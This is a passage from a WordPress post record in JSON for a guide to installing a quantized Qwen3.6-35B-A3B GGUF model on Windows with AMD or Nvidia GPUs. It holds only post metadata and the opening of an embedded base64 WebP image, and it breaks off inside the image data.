{"id":2043,"date":"2026-07-07T07:49:57","date_gmt":"2026-07-07T07:49:57","guid":{"rendered":"https:\/\/rudypadla.com\/?p=2043"},"modified":"2026-07-07T07:49:57","modified_gmt":"2026-07-07T07:49:57","slug":"install-qwen3-6-35b-a3b-gguf-on-amd-nvidia-gpu-quantized-gguf-windows","status":"publish","type":"post","link":"https:\/\/rudypadla.com\/fr\/install-qwen3-6-35b-a3b-gguf-on-amd-nvidia-gpu-quantized-gguf-windows\/","title":{"rendered":"Install Qwen3.6-35B-A3B-GGUF on AMD\/Nvidia GPU Quantized GGUF Windows"},"content":{"rendered":"<p><img decoding=\"async\" src=\"data:image\/webp;base64,UklGRsxJAABXRUJQVlA4IMBJAADQLgGdASr+AU0BPjEYiUOiIaEjJ1HqkGAGCU3Oftz\/\/Jf\/1opKJlkG6zTwLFHV8tyK+1CGtcDzn+p\/zX7cf3390fmzt7+j\/wn+R\/4vxNf1\/Bb4v\/c+an0P\/wf8R+6n+x\/\/\/\/\/+2P+4\/9X+f\/zfwn\/O3+z\/tH78\/QL+r3+0\/xX+h\/Yf4uv2J97f95\/4f\/g\/bn4Gf0b+8f93\/J\/v\/81v\/P\/cj3kf5b8kP9J8gX9o\/uP\/v9vH\/s+yV+8PsBfub\/\/\/Z\/\/6v7d\/8T5XP6n\/w\/3C\/5HyLfzL\/L\/\/H\/T+4B\/9\/a6\/gH\/\/6q\/lf6bfNb8Z+Rn9d6dz2I+N\/G\/8h4L\/y370\/jv7\/x98BT8X\/mf99\/tv7C\/nP0LwB\/07+rf4D\/D\/uP\/evjo++9FvED\/vP9h\/2nli+R76p7BP9P\/s\/\/q\/u35HfJz\/tf5\/\/DfvN73fqf\/s\/6T4Ff5l\/Wv9p\/hfa09nn7ve1j+1RUX9q0l9bai29jbWyI7ESNWFGMdL12lNV8sl47s9mXQ31Dd5aLy8EDlnFgYbtUNCnDc6+gt37DX8DuW9BQ6mqYfal2gMFsGT7NJi5O3GYhDs2ZOQ65yEzW5slD7xT\/HfyXFzLf2ONePk5WjxJOOpjXA7G\/j9eSP4YGTnD5j5vDr2tBP7QqIU2D\/71GiKA86v0wMdfu0hF6Pcu9m61Q795p4J9tv+BPDqLH3mhxhZvhWwt+dXbiNmxdribz+paqA+XbXAKysEob3XXHy9RhakVL3a6IdNeKOZJ7li4sRhnfESSA0saDwzBEawIQE6DOu\/sjaypP3TKlFZ7z8IdeEIpMuH3GXK\/JlU+cnO1ffjxMWdx9MVb7qkVUK+geTNVQAh55z3fy1OLtPCi4lMpfBsUlxp+dMdk1YQQUcMutyYxLB0oNEsIVHzKvQgk3LFJipLmppgu818Un7F6XcrKexEk9Icb6PaeMzo9aUMBOw085I2BwKWq251vHPk6q5qi1lhpT2B706youSJTrTAzFGzf+qUbxYk4nuRJ+ueWZbM35WgzE1DTVIuh3u5cECD94JFtAlRVzTJ2g15b5Ij4Xcu5Mb3LR1zIi8JW9WxfGYfQaq\/yJFV6ypsk\/+EOuo9VuAwFNcFykLYIm7MOi7zym+XkWLXGUiFGUYod5TVsLrAsMswOIDxTAm+zrdgRLf0TI37vfx+78n2IGkpxAsz6Flc1g8fn0\/\/Kn8DFbN0TyCaoAGk26+7bMTGKx\/y4hKBntmd+4Jl04BwgkdkreHciXR2lNT9N6GDPLjFZqp85Q1z5u0eFxgPj6fm2f7aBj89uOVw77M0ywWVoATKYFidYBBrfLMk1q3dip4n7kKqb3GLHaSSlqdMMZenmIm3idXVOirhqRxhl+zJmH0Mld3Y5Eh7KI5lVz+2fsxWVlwBU0u5Z\/PNKJz7\/71tq1cwcnQXZno0SpLkz7JJjFH32ZHflu4PtWRkQtTRS+5LbnkYfo85D4jY9Ve63UqtJyR\/vujdKHDTyug+uo1ubr1f43JEEuuCmkWkSqnm0TQ4Mqv\/VDhEu6GbZu+TmzE7fZn3mEaIJ1Fy9uUxfDBEDYwy74stEFe4felIEl8X3WwMBp53pvAuWvoEbo70PsA7ET3Hf2ErVLN49mq4e2IHQG08\/wunmfs1qR8kuJui+L3xhprU0Q\/d2GU9XOc156X4h5ZwwBa9KhUNBi5gasGzSBRJGs6E9a+KrOKoHdlO+m00\/yX4+Bm28D0Ws92a\/utO+BJDqydZ+gyAE\/ZdbH\/44XVXPQ0hmbUg7LKbmz2CyRT5W1uGUgJQcO\/Gx\/foJpekxeOg4M7Y911r9QCJLlWPySEfXDWKSs8xfPFixYTiyQredochoPweOqAFF3LQPKzc4LmLfiTDwf7We0oiIPWSNOjkLI2C5+5UQhm1rLhIAYO0XRwYJpHk8HDLpbucXTpexFY9G23BP4IhMDk7rrGfI+XTnmycqCdhmCUemLuV7+5vzrPfndS4Zp3L3IzKGNoD5gMYiS8Xay+DfKvwhfpCnV7Wg1WOMJjb7+kkS7sJ1arqd8qscXAvW\/4Kh5gElSFdMcW2Q7rB0peTBWoh1esux5vnRkFC3b4Vm5RRMyohfH+yXYtDC4APlhjDW4ATcmDX\/sgM51NkxLKbKxR8kp7YaHDz8GuKvSWn0DWBh0jsPmh4eCAeT+ccED2YKyFMKBq5cadmugxq+ypEX5n7JXriepRAnlMHersrbRx9wpNrtv4Rm5koUlEbMj\/0IYm2e4pY0rP8ie6uoZ2oTyp4hl3BvjKdPGZvkzqwLHM3LxyNCu3YAL4AolH1+b5++KPbgZfaR787fqYPxXOPqSNCf6RUo3k31xNxfWAs5eOfhhn1fAVIiym0jlAy8mQKwjOO5kyQlv6s03NMqWFaQaBKyQMZEvi73ny9vLctqzeao9tNQRrytNQPzkMtSNs3+XffGnro\/JBCg4s6b6eQmng9FAJ6I5qXd5Z8TyGcmCHwm49GyRu5Q3OdbsrG2YmCCUcjwmv86KA5K5d0MK5TOgsNAWzycpaZCTz3H\/7a\/ROKAfbH0bv3R7B1ley05OYM+LqNagjC+bRJJ2HmIO+E\/EzV0iwyniSqM4Q+IgjCSDfcRLZGItbkBzAEuKK0iDtqlM56fVj7doj97m+eH\/6VdxeAhmxrlvgAWRy1rV5Ti4D+SJzyfSQilzr2MvK3MVeYRgIDTRbi8ri0QuzyTopDZ49QGxrVGEbgnK3XpqgNebdE5141Ie25aa0\/yGibT6LNgxs929anrIJ437aQSf1UxUt9GGYCrWrv3M\/v9FtDOa65p5vqauQ9asGwYcCw0\/p35Z1eT0Bkl\/96uJM95mu2bn6ZOXJR+6B4K2zm2G7JtxJGcHs8\/r9G6ggmJK9vBit7XJrpADArtRN3n+ddOsTHnAmI+p6HyqMPrxW8UPPJbCZkvL8QkagsL5gB\/f0uDyAXANn6qbJHcEoZdofah7y3qPixZpnGWPF4ZzsSV4G1FxjN104jMNyQCpEQ8kyvFHR8RZ8ARZa6gxJA0ie3THtw80uF+e\/\/XmX3u69dZO77iGomKczta4Fe54UuE5dSMexJJZ3qDf0UHWMsJ5wy7OWrBz66VysHy0VZz9wxYaUPzIu5X71qB\/NtrO0NTArQ7fs9oHzKF1Pa5S1vvf9BRS3snX25lGq7LnDvM0UeV+iWqxIKlmCcnFfluBY07Clbuuqf9mf++tpqO09\/2TVfFJz3dI9s3uXRGPxGPg94sumgAP7\/sr7tbL9V25rK3OvUk3bf1eFjqt\/\/mgBsjPG+eyyPIwaraWI7MKzfzS4XjQUr4h3IlSTVzsjQ8UZukMlxS0lr3osbP6VkXQ9qJbwfJFgo1kP2lYYaPZs6UlvUx0DChB\/EfD8gZoxR5i8ISDa09ZGR1rHbRgefBTDxQLaNlc94Esk7e2vzWCPZB3TnY9PeFaWcLpuUscItdAsSJEgLHhwXEJSUjIJnRVs8wSIf87ja\/yb\/8REL0kZOxn0eEUyA9a3lVGMN4hkc\/Ix8WagQPeTwLJErXuicqMV9wM+yzZW7Baa7\/UXbzL0RYMqFtPMCAv7d\/xHH0AyJKOecru6P0u8ctDmWiChU\/zE7TyPu2on\/elluGjlEZ9HuTfsAgN2c3Rr6dHS3JWaDW0lNfLUGf5eGRSY49wzSq\/h24GFsWTrjWVwqznD3nVFdcLEsNphX5s1+SPJgzPxBq56Dom1WBiIHsl\/IzSOaV1SbbJlYYNCIJIQViRxADBnCf0sUmQYfLqeH66MkMrOW5vIZqDcYU7b58kXsTkaDdW7NiIzydHmaofQRKTqRyEiiC1HsrDbO16evE0hj15RZGcRKWIyCtoriM5O0qjNH+8HnQMHfyxsNxZ5VJohELoODrX7ijrOLhzXfodAuhjzT3iAu7hTdfK61vqO8EYiABDqgTiLLJZGZKrvaRO54VWH8lMUQ\/ATKYwmap+tHkLbAgvUG1tM+2BuROTnZv2Aqkh5W\/QBJ+v8CKsK3f0PsBDbxMQ4uKndTUtpXFdKSxZKPf2QGt4HsftyPqOGvN2bM7GtPshM6w62En1WO9HebIb09x0SfbKepv2AOS3JaWU8evZCMraq6xC1U5alLG+pRBSV2+XL2ea50UuOn2a870Op1ZDRpC49WMaFCI8A6kmDj9WE+gtbyLnY9KDtlKQpnFPt6+JskGPZpTqECXO8VNu8hiIAfdALzhRKjqQlA4PQeAC6hMWHVgzCNQI7kjBqoAM2BRD9X2wQuSxnLEj2pEPMp6XcYHTtNOjaoeFFjaFhN\/bcidU4auPGfFTW7ia3UJMLOhhjJ9muXpWo2vdBCshlypyJrXdGuDZaJN2KqQED0iB5QG47duVqujVvZA3mgKtcGvlucPFZCbcKGpvpvFkFSYnElAjui05ZP8PZWAhy0oC1n6ESbxRmkgD4i+9gWmt9\/AnqDqJimyrTmTUdfaNXBz7CvnLHMCMCP9D6viXyhfcC1jvsSwfJ23QrJXkLbgTBydB1ZZOrIG8ns2yUSGR+H2\/WotonJoFPdL2CPAwzFTPpFHwZHQPtcg8Ayxc70wg9UL1ei6tNXW9T\/iUwwipeHyIj97\/M1E0M+kcGeiOPBDkkWXCQAVgp3CRLPnJyW4\/8lptWo\/f4vF3tyb9X1TKolbXIwtTXfZNMmzHiQUVryjq0R5ADGw2Au2CDXecflFpTqWO9uihAFuicus4ATwumUCSJGQs8k8buIICbeRzqBPs\/KPGAKHFtSa+0JWLhVlTOOk7JBgb7yexJCHBSu4jy7KNQ2EERTQlR5fYdpI\/ZvS9MMDUXMVdheizEDc90wyeY9Ci5edWMH9hkyyi72uD3fqrz8Y\/V6oS6LyN\/BxCIJpEbprWQZ+zHoSJH2yB68WzBsF2ryDRv9aXQz0XkWrIZHvgkYpFUMILaFLtlKuEl9dzcDVwkRIuY0yj7o9mvH7GdNTe2BFpu8Hv2Mpm7OZYc+by4E0ZXy4ocgRdFku1hO1TCKdHg+ECX8xkI7I3GpJKSWzEi8zL6zTGIaKNo5iFx69kznNGl2FrK0XbyI\/UCxgD3AZBswn5HDm\/KiXhAx4932COiuOkRPEYY9e5pTe\/tBKRynDb9x36KnFMTPy22WIhFCUAcp1IQj+4u\/lg42JIZM084z65AoPCplr0JDy7y2Vkf33j6yblEAjsnnEVr3yKPmB\/ywLLs9j+GyJHRtCHwpZF3MS1xHT8AgrS6ESN+y9E63nNBH4pfItKO6EnpW4QaN1fWMZYsWb\/4CJ05U29xKRGnIth30ZDzHYmMYtsSf\/kpxpX9ElELr33jiE2Hy+gOT3qVVAwLd96j+24nL\/7S6Z8Lu\/taFl9cTv45JUkMkII47RwVtkaKGU\/dLO7x4hd4LsiNGRTO4Mse5eWQmk2PuC6BezPq6iYvBrFsQ1A8bCwHZDT8MiJALx5B0EhDLiW3mJp0iiHSdeVoH5edYZG8wdPY3Eczxw72hhlE\/oy9+TJulqjtp1H1OuawIfd9\/mx2Y4d1AS7mVoc28XcQy2VXX403rjw+OobAixOuULuakN0AFPVWFFav63fjJ1CHmTleI7AF9KgeAjr9TcHLA8mxs3Zcmln793cSKxRQWVfbnvJUMr1nxfE\/OPCMTyCRkof75+l7FqCXTyM3MxKC\/ddiaHMFyiZxjUIeH+JD3KlS3hYqotoovaqlz8\/j4zXcJ6uIFLkANj1ESLzALCV1g764vGQ\/FW4omvLwm34Vuc5AoJNQeX2YmtCitX+MK1lx6+GXgk6bIK6bqbZihFUhP8LI1bQSgtyIOfRNDCUkRJ6izwzSLWFg2gKMkJDLH+V8dPl0MP\/46zvfuEgXKKfGhJVIHiXgttObFg78lAz\/FHfPrYDled\/rln0p6BXn9Q8GfVrKs0o\/4eU1dFLq+zqiHGExvec4vT96GkC9CkEyfrsWDvVcm+aRp\/MrSZvw4zOGm+fnIimi402o2ogkxp5titveH8sIArrxJLGnFyQLlupvQvejZqS9uLrC\/k7q1Nv90TCg\/IcSKu4ts8Osz2VErLFweTTJy46271bGSAiz8kXLsfiy8Xcm7TuKaiqSQdjywcx+QSqtygRFcbbIpXV+e4cDRoqnGQQheeCg5Qd5PX28HKx0gGtXBz+yrZySMxs\/itrzrvzkoI5W5HZyAoz+D2i03ZTDSLRPzs94jGrpPMAbWMIxU0WJp4K4GKK74U05Kzf3T+l4ylmh\/V9FCNCaOIFiRgn3DLFqLcVKdP+lSB1efqxCXUPb3NuZBUhaijvCiTgxAMBLyyJY8mNmLxvp16tqcHRGJZRrAPu5l\/hY6kCkOPEv2UfDATU7qeqZTbiUS3kfOz0YG0v7Q4YvwQ\/LWjFyLcmqgpTAN\/87Sbf7fBCWMJ0DLVAP0yVCs0UbR3mXOeBGEW10VsEKlGVLCuhk1acveZwz\/+hsyWx9aAMSKcNZUoaOY\/kXgY4bhz3Dv2i\/p5+yLqm72SNKdB8djgMHoGpUJcIoleFFidNBub1DuyUieAlNbH1GjZ4jyX2xNJYwPo4dRCzxpH6jkMGxonaI9KXkwkezK09N31pNUC4fup9rco6KI8yCT1IseSi+jHnm0eAatVZRvFHajFxZ6rgbtv5dj1BhnymuxbexKe0ghiEsl7J\/NBol4VeBfsqa6wFKcdxv8U4gDbsApPAmYAZYvZWUWqDQ+9YNK5Z0uGyo+NAUrdxG27f8GLSmGDd0K4LSOX3ILMXbYEC1L728EGyHwFJkivDoGrHShJJgsMfPisy0p622zC8Dee7IPDv9vBcI7Jf\/AfXXBq5CwGqv5qKu6lUPkDGAdvhzfH52SddZN3ZyLhr5M9rH9z3fLjFecYYEGd6VC1MmGdvr6eYXuG3OjGjANOHaiE\/7eQPvTMMGUBZLWfMe3W1rGF6SqJxcBLySNWDGp\/msi7z5d9FqyQb7Sehj4BPF\/pWRLJTFfhtzCFpiX4ivj7thUMS48YJ7i9i6q3PWwQL\/DKWpxE4TUGrHyWilCg2rRp5kK5FiIScQg0xBYXy7hg93k03KFbbn19nVuwUNK6s9GJirxGfsnDc0Q+W0MBSgHKkSfB7TSHmECEC+M0e1\/Lo1as5fZ1vCczZKwLKP8Ox\/sQMkL+MDqekModZKeWj+Aipef0jNSlHEy8wuqQL1Gqn4qIopdmmerxE4fiDGrJNk7jBHMpqqixL2Hslu0O6rVXCGM80e2wZTG2AZNiy5ItFsXqZW+NR7Nq4IBfBTr2zbUYXXGqMAOeMVkINf7JgP23USOW9I4Qm2H5N8zZEmzTt5Xs\/d5ZCWRlJ7yt\/5NGM5up3aHpz3G41S\/xM9bDqKbK7Oq48k6JwdhX34F+Z0gw\/bCSsWJ87OprZtEplA2QqsqgPtfSQWjSYxfkDaBarX+h6bRg\/xftVJ7RJ5HQZAsfnbgn+tOMEKO1HeVUlkkNB39p\/lyFhle7UNBDaOojw7O3gjm2Lv7wGyY3eKgn9dqyO4EXuwXQ8uCB815a0P6u6ZpvkYlEmkxP8F6inJAkvODyF1W1RW0oacUK9HnqDIX3pErvDrQ1UI8JYm2hVYDTiyCUeB9TJqU6rqR4GQRFk+2KhE6LYqjrBkZyVRURs4YPOgJ9ndw0Y4iXUdxCaKfUdIgoD8sxKLkbo2ePSZ0QtNgdXIBzcOelm64DGEqVgi4P35Z8mUwy4gF1n8InF84blKykbWs5ySkhRvUTDM5y0B+qHw4KB0yjQNK1OZ\/3UEmoozLIvpn2XpemTEofCQj6y085LQ2\/fSRrCIFikARGrGNt4Dv14Y4gXdGH9PFUkuUSg6VszGBece1DutCOE2fU14P53+CzJQKiLiWZnVJr65ab4+EIpgmLf5xrVHwJ5Z5t0lBrjrUYfFny1mKgPoeClsc51pR0D84YLNF2EBmRdreYw6jjsgahcyjBAi792EePuwNXeOUAgLHLO0gF8EYhD01HH3WYkTDb69rjngXW4ATU9DAZqHCbkjpz6awgH7pEHqzlFg6QM4wTmZ2yUi59WgbxY2USlRtFaxTUgkabMmntO9Ozv1P0eqJA4mwO+bw+ARyzU\/yvQMl+l1rkUKY+Z40OA9YDrG5hkCDhGMOY1pldLwOvRhkc+NNunXY5gE6TVu\/03P\/rZdERgvtttzuH+Prwu37ZBTZukRvgJJg+NTFZr1uujQZf9IC0qqrfPf+T8TRI9Up7yNJwOj2\/hVs+oTw4451UJzNEYLUGOt+R8+wXdh5iQggYGgZSl9drSy7cvQVDQ221XXv5wL9X7j0y\/ULarMC6QsB5YXVGJiUNrT0Vb1eUF9zrICnoS9tJh\/MVb0kFx6kUbSzspUiJImYR2Yme8aT5EvI9KtngNiWbB\/DTpK0Z8CjMUbRkiXPkGVyrGwcgh1A52unWGHUEAfltnxbkzq3Rw3DBX4WOZygfi5Y29aemE2c5EpKRZxAGQcz4Ldpm55LIEGjsGh4coyYyTIh5O4lqRtH\/5w5N7V3vUhchZ1l2ErC03v8SDu7F02h9W\/0wfBwjbsClAGWoehMV58mBKnjJAnkUPsqrHF2xp2cbJjgCGCQwRVKEr3QoD2BuD5F9rYDLYEAA4ecbaTMBu27JDPwMlpMvMFMt\/nXcudDxel5J7+zG73\/c725jTc4YevxdOsuKCiV8RiE\/1A90IV3l8T+GiiYInsGTB72AV7SayJpbnkPGtnT64sP6dojbJGu5ZS5nlglZuJfKzSvlX\/kDZ1huwpF4rGugwdTgUu10vInNsWlYUQ5chtmIeej24NQ255kWtQQmuXoR4YvPqzDYIh7OhP\/zH+VqRbguRtZ3jCDQYQ5SxYBZ9K6eu+Hpun7Z9Seqkge0j\/hsenfNqPa\/WZXgwpzIvWv\/QOEOw7oU3RTl2AtIU+t7tiWv4q\/\/WtA+\/HzwDMoMMNbWH+8ARDL0ihVCWbE1nfNE4QBbQVlw3LEjLQXbbpmdfE1AfNG1\/\/wnKjVI2Onz5gDbH5i9XAwcb\/Cr8c0Aspr4khJ4trY6mM3TL2gPoZuuKkqftovQaELqsS9oli6670RLfNGmlM9FbqfO6Lx1rKaHKGF+yVcXXDl3b1kW64SWCWJ3vASW9llH21DzSyTzi55W1eGnUyRWRHHczUI6wVSBR6tuhbdxfPJ4NMTRzr0FIH0rC4JuM3dgv73NU71CVm57x5NYn2ZZ6gKcD9vEZh1wy3L0ZY2M\/bHDsJ1AuTwTqdCl0FXleD8alGh2J67BZbK12T4Ju4wAYJZ19vlkMP5hBwFJlirWv9Q5aODe6apCMKT0Zco5P9sw8aGqLenRirV32BFTZ7EbXydsrg\/j7liA\/25grSsndYt4yTECD4y7vVwHrlr63LsWvUQYseahA8OfxjfQacMFRiiJ7gppz4HxHyS\/RlvJS6LOMZZPu6OQDyh6ZNyq4XvFR\/jhGHjS7Baq0\/Aqao8t4C223SzAiMNJkTKBtlZYZZ1UnlM3Mvfv2ZC7OS1LKf6zJA6lWteiM1dSk4lCvW147Ggk9LMLLokTVpbs2ZN2v7KuwNb6RWrfx45I4SYhQN0Ocr7gRed8Ns3\/nuzV8oK3wj5QfeVSFUVmdDRD1wro26ZRtio3YuqM66GZr8LsVIvTedmonLkqJUVkWegtZYLvU9Y3M1VRsBAtgAWT38NsxiWA5TMYkcumQkrcLLybJ7BNgCqUEpnLhPE\/UEvSbvcGb95\/e3BCwQbUn6Fem+7mi\/HSudkr5fSv\/Q1A8Ok\/R5i7SNaXQ1vfntSAYiAVxhO\/djOxz\/7CGIzEimEcZ3IlMTTpj+C266CGzALpAAyeGzaz8+M91RSmsdSVlfPVKlNWW1oskrHXhhSMWdRpj6V5IcjZUHIXBoFw+CHdS8FaldjQooeFg4HQ9ChN4nmvqjBr0vr97KEQa97rCTCvmUXBt0wzSTSdPYWKB2Sxv\/2ZrbVo+pP3mxN\/iQsS0TFLzmEkjuFnrfildyoLbIm0FaGHKP19RyWV7703nkwqGNEXg8cTihP4VDqefYb2ZvdKm3hwh\/FTspDGMSs5CXe0YOeeyx10ajtgf0jEnZ8PnuifOCLX6+7LtwxRnE6vsA\/oRd0CROjzZXJGbCC86dTB+wnHYlGpj9iI2lbhM42WujttofIR2nqyRKBQ84DDoXheYQRP402Kfk2vZ0C81iMup6pLiQ8Tmbcrk5CZapOIQqIfaQ0Noss\/QbGPOpRN9v1ESMbmXHlvA9KWEeqX03MGzBJ\/1smxxorTfMmRbIAAuyfTcTXxW4cEpYjvRrBDThFNMjTMfZFaMvaIK4+6fba2Cc\/yLVLLADeo12QMsc5W5cebi5mbHC6DcYcBWWta241EkBOsPGjHH1VgkCScK4mpspRKSNpKxpyzJdUxPh58B9iiJVgGt9ZUFChtAKDXDZFipB6An8PKL+Nf20lFmiELfqo1DEqdvQ19PeM\/irnKqNemRDAQMBrwNzI34GCki0jLAaIFC269KVAQF7xVe+rAkfamd7OvKnmgl8Gch5MQaMKqTbVR58+mhKb1VBfM08mKY0tXEcFU0\/wCQkhfFQghs2j1QslOrDMkkUmjRYWqYgZdD5JstJ+H9ZLFOq6+sFbOunVl9HVno9xn7VBlTBGDZGRfUKRxnLdDcTBGhhq\/Ff4LJTZqXAWn5\/xL6tfDQWRgLDdGAVVa95MkIQnpIR5NTJ0Wf2dMqdC9OEYwOJGpV8qMnIwyIpvjbaERKqKu8icwkbHvF08py+oG7dKRlhP6a4hZ7MtwMjXJq44P0u\/OGIcM1bjzGyg75P71wDPNY1knWVvCNO\/ZlDwXKGG4\/lW+E\/xsts+I\/M5J8U7yhRZ449KoOk52DJb9LVjkr2k\/Pz\/NV4KYb7nDNJ\/fA3KoExz01UAxXzdziPhdd0shgj2wn1oAbh\/6CRt7Rf3WFo10e9OLDHJ3Y+4BvhD\/lC8rjiCRHUpz81N1XtixngTGPBMulIPozxZroHiNGhwJAU2BKmKEsHpmfQFZf1xcqWXCU0lTiewVBMg0r3dxRzPEST\/+F9oyidXpj8FmoRu1zhUBO4dyXbxQR9hefjbF9pxRXG0F2\/LaqqI+YKQ\/iiP+9c7o1HjXtLgJkAYgFf22ydTMbZL5iyJtrX5q8NHfVwU9H+C7FmdxcaQ8LFkamr9yMNYjtEYAzxxh6n5D3sveVamu9Bhm7Mr4kpr0ow1enIY8wVfOiR5xhx+IcX4lTKWrHMMhtU93GwXy4UrcAVxtiztxk7xNzO40lnhAS4kL6rLK0LKFxia4DK3\/4VWEHRj+0JX9GOuYplGPONJiNc2IYy1t1HM0M1XaLF0B3RHZzBx6cFmbywMfp6j8WLvOIVeqxlhIfXFRMKIkYDMwC\/zBCjRTJ5PZixxCZHo646J8N7YcbK+NGevZTniGx2Rrl9MKWy8mrDzbyIQRuNZ0HBRD+KHdpKmZI1PlMRWqUvLljh1aKXRj8AbaUk8xnX69r0rmCU4MQzgoZF9EDcEJjIopJ2kkhgVlbBGMboAIw2QW7Yb51S6mrOBJxXWZTekzNjOEWN\/dUD7yXxoT0tpGD+bndDT95+DZAYCG2Pg5BfQHGDV+HlrsyQ+LwvM7Wtz1G9LarU0H7lrHtCiGepqdcamBXBseezksze+UZGTlIiAC9qOEvktmEtqllzZ9aQEUVWbFAinhcNWeB9S5Hnw72DvM3m5gJioUnl+S1ntOX1PV\/rc\/hdkZLcnR8E\/cPnUQeD7MLtU86t3lH3AXD8yW5yNvUlypp+\/\/4u5nGXLYukdcv6ssy9M1oDwErGMRet\/T5kYqgW0e49EsOpzvSB7TwjahMlCk0caRVQDgMnrwFOvdyCLeyCXoLUSAt89NY2KLf946DNrc3B8TCntoqvQGWSlHxuHYIDh98KxeqHd2fyTbqW2Fk9pNrT8j9SHnXePAdlgqfJkNH3TTQJ8CcBGTou5vV4Ukku49cYoAkfCBIy8bPbhz8\/FuIOla59Yt3UU\/AI41G\/odOy4CcEeHW+S7qF3eg+QrxTvimVJW6iNxfkbYWseVeU+8AdOsrem3JMD0mvev+ZKbDqHF0cddHhofHgWMTh92gsBM+GdBVymLD3mPRolcWONHPq2Py7JbxZ+Vbsg52Sl1R0Si5vv61C0JJd0MK11Dpr8eyayFmj\/b9sI7yMJ9RnCYdHY\/CWNfWtv5++fjV25lWVJEbTrjc6Hqj5ddxa9UVibBrwI1FWh7oheydRFDywrrXJ\/QDCKeyp7HPdRgIRnnyv85apY6yrNAyhW+mqiBIE2jmVLfwG5rAXwzGKvm6zeyjQjDoicA\/tWcyMHcE9ctiiMI3U1mL6T0AD615A4a0uL4Fjw5Pr8HazPrcUfculxdTK2lGp+jZuUU71bd\/QyaW\/6QO\/6LIX6vf3DOqTeDqye5V9GFcoUclNZb\/9qnfO+ilPAVqsPBa7GqVhidgaNQQeKfMiTuPWVnrFgg5sGC5kzKHWZR1Slq1L0Vv4xWOIIAFOhDgKxEFdfp+RvI7qV50RszDvy32QrGQX7pDhlnUk2rCLAomxqqYb4awepnI\/e\/GvvEKvb4rcfFQAyfxb4t9rni0krUDODpoH2OIPlNieKpuLdKoXeFw2cy9KsN9PKMRjOVEtxraXmwunXodOnsTBM0uR3ge0\/iHScWc0SoG00LWaKBaeBnLdYIMrq3SPFbVyBdQRaPHgzAg5rmgv4XqwS1YogKoJB3G8a6mpoIkJYnHvGJTW3DDZ+vDWwj6232bN2NNXvSSs60Z+\/DtAyl18iRWy2cpIE1w6eJjypydg+tZXn8Si2rzIB9uc9rb8rgl2bldEVKIMuQNz3rLuxmIEYIv6KvqjjvoyLSN6fJJ1fBkamF0yYNxstnhWhpKZJZBMIkwqJJjVvrnGodIVjV9qoU7IffFzVr7W\/2cOnr7bzLgx4Wx\/c2LWKr7zedZWvyADPdS0khxNStTjCCyP3iASZmicvKWsSfc6v+sSBh02PV3nZYQab1Xz0vyLXFhc58bm7TpjjoQbwOiWY0IBjeuGY36dTRAvQLI7vs4XoE2x9AvA3TIupuziqjeknGW2OILe3kBPuTUR1oMKdxrxQTiuD61KGkTbPnyGQrkH3Tcve6LBZRbo8NbEXhqylyhsTNtcOnAOU2\/HAMTtLEnW3JubYudRGTgRVjTz+yObyTqboXyLqb3764jAdrCf6p86QR143xnhwo5rSQKwW04n7XpThiX3awUb7e\/ZeurbkAuH+n0AY3lFFAAwzGl0cj4RH3EDSL89W093QNtjZqeWkOFN+lD8GdUAGmRjghJQcdsqrOJlBhuuKiAdy\/wtxtQI6M1xFkKcAuscaogbeTMf93vL3L+DokrIPwOjc4agjSKQMqYTDVc4JTpC2IkqXNFYW2OWqPJYSS9vJoQAI8tMuLPPwAcnItx\/ojlvqlTbaAxalz5titWxh64vDxpoCkBZlF4\/iHi8iV0phY9mj6kyYL2qrR57zbfRPxgzH1iaZ5Ry4jRCeBv5LNWcjpsxmxMbhvSGKL00Dspurw4GMZm80rv9XPsfYRUIXu+Y+jMBx+pYsoZI12+h8IgWr+zRKjMQcbSyyP3dGFMLRQAO2GvspEhpl0T5mlyqz1yUB\/U4e02Jaeh1jIlKUCPcerPtkg3h\/imf9LUks03vX\/6e5DDAfab\/Ang4llvnuieGIT7kKzfFhprnH2EmmkHPdEz9i\/BOVIixWHzf30HCuhaH5jeWEC9bVxTELVlCq1zwSgnWqRX\/I3JDamRGBflQNFnYqNIPsPJhmqo9BVrfytnp+yYfsNkdheRSOOsTLRGECtAKU227\/p7qONNv0uHVW7BLydwpSRzGmTOC3aSaAbMRIZ4w8Ru86zHOFrxlRgbP1H6jxfM9igqd\/lXMNbg9mk0FtZYwvstU00zK0SChNw0D2lNmZHU40hOGWSdnUdTDkczFgPg8gKa57Zs1RBRb+rac8rA6BqMycK6dAgLy9g1nyjBYQ036hdPtx73tw5aGHZ8Z3e97620NVnND2BmrDFMl\/OxElBmB\/xxH6HG4Ezm\/vuAJP1PlVxqu24hD5NPlUjSRmlL+EEHaKY0Vf8fg12K5B3LUILOz6BsAazg420pGK73uhvBawSLHmgX3IDNawt727uyk8Gp72o68rT5fDKFaxe9oj1h9UMO3t\/+Js3Jt0zDJPODyv0iGcTKa27XQi+or85qlfo5fUsXlYAyYjf\/xXm3wl1jL3wVJ8ZxKjQOuRrmF0oNfyM+Bo4feWyU8ogFdNpG1pzapg76wNx+zttmRRirE9Qpe1i3btsLdrjtM33H0stGf8uTE6rx8XBMVfOHMHj5h+HFDYmcTRgvpmO7bTghaUwxVyyseCbQ2pGwkbYQotOSfzzIIcde8veZgKKlD7rJ+r4pkUtbd6jO0ZAd2dVGoX9vEGOy2nvN1BorHBF+i0isTrnok+kSIFXykJfJG844qT4LMTy\/vgwlXimGm0xBhU58W0EN5jSsd7\/7l0Av8\/ViXaTrPmADbrK8FXDpbIEOZ3OP3dyoNFjEGX1GY1g\/iJlINUVbBOTHi1P6qupYtM\/s\/1miiN9k88dgmu4y2zkZ7lpXza+Oqcc2LMsNBqZ6k+fS6\/umLGMk7qymdDDMd3aFPUscUeypGHhTQPflKBXg4QomNUm2KfIqXDhvRrMV0nqGeeL7ICYtB0dJXVzBoAdhSsNlJjFzuOQZT0lV528BQ2JUBZrekKxej3brAkHWkoCVkwA6Gqxjsasq\/6TriyPKBgX4Yltx6ayiXiIZZhAO0Ngm95OTIL7RkZMfIL9b++zZwxyrdXF+sjC4kFhHXjsDh895BeyYX7scPNhLXGyoRMXO5VIz9Zvdb3l+GoMbE99ObUSePgRjF5KGT6Fnc7saVbXnU0h0NMY+xW2lUz4WIgYAWuUoE\/Vx+8osudV5mYu8bWirmIL0L\/dBCBNV+7EBZ1EpOzslE3vQXJKBLZmKrzD7OZoWQh6BKgdu+DvDVmvt5ZNIGZ5CG3HX\/sp67V+3XL+648NUgFOq4o1R5Aia1tP5CW7EY6jUCr\/u8aPAKj1E7zhrw\/xHPogyigFYB6pT9Gye7u1\/l3HnZhmT5ywWaK2mjCX7W7bU6LxMzciIqQgvblJK3FG0frGnrjINuOZ3aE